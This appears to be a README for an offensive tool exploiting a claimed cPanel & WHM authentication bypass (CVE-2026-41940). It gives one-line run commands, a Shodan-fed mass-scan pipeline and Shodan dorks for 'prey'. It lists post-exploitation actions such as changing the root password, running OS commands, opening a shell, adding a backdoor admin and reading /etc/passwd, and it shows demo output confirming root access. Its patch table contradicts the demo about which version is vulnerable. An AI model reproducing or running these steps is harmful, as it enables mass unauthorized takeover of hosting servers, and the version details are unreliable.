🔥 CVE-2026-41940 – cPanel & WHM Auth Bypass

cPanel

⚡ Unauthenticated Root – Session‑File CRLF Injection ⚡
“One chain to rule them all.”

🧠 The Exploit in a Nutshell

┌─────────────────────────────────────────────────────────────┐
│  Stage 1  ──  Mint a pre‑auth session cookie              │
│  Stage 2  ──  CRLF injection via `Authorization` header   │
│  Stage 3  ──  Fire `do_token_denied` (raw → cache)       │
│  Stage 4  ──  Verify WHM root access via JSON API        │
└─────────────────────────────────────────────────────────────┘

💥 Result – Full root access to WHM, no credentials required.

📜 License

This project is released under the MIT License – feel free to use, modify, and distribute, but don't be evil 😈.
See the LICENSE file for details.

🛠️ Installation – It's Literally One Line

git clone https://github.com/0xgh057r3c0n/CVE-2026-41940.git && cd CVE-2026-41940

Zero dependencies – only Python 3 standard library.
You don't need pip, virtualenv, or any of that noise.

🚀 Quick Start – Run It Now

Single target

./CVE-2026-41940.py -u https://target.com:2087

Mass scan from file

./CVE-2026-41940.py -l targets.txt -t 20 -o results.json

Pipe from the wild (Shodan, subfinder, etc.)

shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | ./CVE-2026-41940.py -t 30

🎯 Command-Line Options (the good stuff)

💀 Post‑Exploitation Arsenal

Once you've pwned the box, you can:

🔍 List all cPanel accounts – --action list
🔑 Change root password – --action passwd --passwd "h4ck3d!"
🖥️ Execute OS commands – --action cmd --cmd "id;whoami"
📡 Interactive shell – --action shell (full WHM terminal)
👤 Create backdoor admin – --action adduser --new-user backdoor --new-domain evil.com --passwd "pwn3d"
📂 Read files (via shell) – cat /etc/passwd
📊 Gather server info – --action info

🧪 Demo – What You'll See

$ ./CVE-2026-41940.py -u https://192.168.1.100:2087

  Configuration:
   Targets  : 1
   Threads  : 10
   Timeout  : 15s
   Action   : scan only

[10:23:15] [SCAN] Starting 4-stage exploit chain... https://192.168.1.100:2087
[10:23:15] [INFO] Canonical hostname discovered: server.example.com
[10:23:15] [STEP] Stage 1/4 — Minting preauth session...
[10:23:16] [  OK] Stage1: preauth session = 9a7f8e3d2c1b0a9f
[10:23:16] [STEP] Stage 2/4 — CRLF injection via Authorization header...
[10:23:17] [  OK] Stage2: HTTP 302 → token=/cpsess1234567890
[10:23:17] [STEP] Stage 3/4 — Firing do_token_denied gadget (raw→cache)...
[10:23:18] [  OK] Stage3: HTTP 401 — do_token_denied gadget fired
[10:23:18] [STEP] Stage 4/4 — Verifying WHM root access...
[10:23:18] [INFO] Stage4: HTTP 200  {"version":"11.118.0.63",...}
[10:23:18] [PWND] CVE-2026-41940 CONFIRMED — WHM root access! (v11.118.0.63 — CONFIRMED vulnerable)
[10:23:18] [PWND]   Token    : /cpsess1234567890
[10:23:18] [PWND]   Session  : 9a7f8e3d2c1b0a9f
[10:23:18] [PWND]   Version  : 11.118.0.63
[10:23:18] [PWND]   API URL  : https://192.168.1.100:2087/cpsess1234567890/json-api/version

  CVE-2026-41940 — Scan Complete
  Time: 3.2s  ·  Targets: 1

  1 VULNERABLE TARGET(S)

  [*] Target   : https://192.168.1.100:2087
  [*] Version  : 11.118.0.63
  [*] Token    : /cpsess1234567890
  [*] API URL  : https://192.168.1.100:2087/cpsess1234567890/json-api/version
  [*] Session  : 9a7f8e3d2c1b0a9f
  [*] Evidence : {"version":"11.118.0.63",...}

🔎 Shodan Dorks (find your prey)

title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087

📊 Affected Versions – Patch Status

All versions below these builds are vulnerable.

🕵️‍♂️ Author & Credits

0xgh057r3c0n – security researcher, reverse engineer, and coffee addict.
GitHub | Twitter

⚠️ Disclaimer

This tool is intended for authorized security testing and educational purposes only.
Unauthorized access to computer systems is illegal. The author and contributors are not responsible for any misuse or damage caused by this software.
Use responsibly, and always get permission first.

🌟 Support / Contributing

Found a bug? Open an issue.
Want to improve the code? PRs are welcome.
Liked the tool? Give it a ⭐ on GitHub!

🔥 Hack the planet, but stay legal. 🔥

`-u, --url`	Single target URL (e.g. `https://host:2087`)
`-l, --list`	File with one URL per line
`--hostname`	Override canonical Host header (auto‑discovered)
`-t, --threads`	Threads (default: 10)
`--timeout`	Timeout in seconds (default: 15)
`--rate-limit`	Sleep between targets (seconds)
`--action`	Post‑exploit: `list`, `passwd`, `cmd`, `exec`, `info`, `version`, `shell`, `adduser`
`--passwd`	New root password (with `--action passwd`)
`--cmd`	OS command (with `--action cmd/exec`)
`--new-user`	New cPanel username (with `--action adduser`)
`--new-domain`	New cPanel domain (with `--action adduser`)
`-o, --output`	Save results to JSON

11.110	11.110.0.97	🛡️ Fixed
11.118	11.118.0.63	🛡️ Fixed
11.126	11.126.0.54	🛡️ Fixed
11.132	11.132.0.29	🛡️ Fixed
11.134	11.134.0.20	🛡️ Fixed
11.136	11.136.0.5	🛡️ Fixed

CVE-2026-41940

Most Popular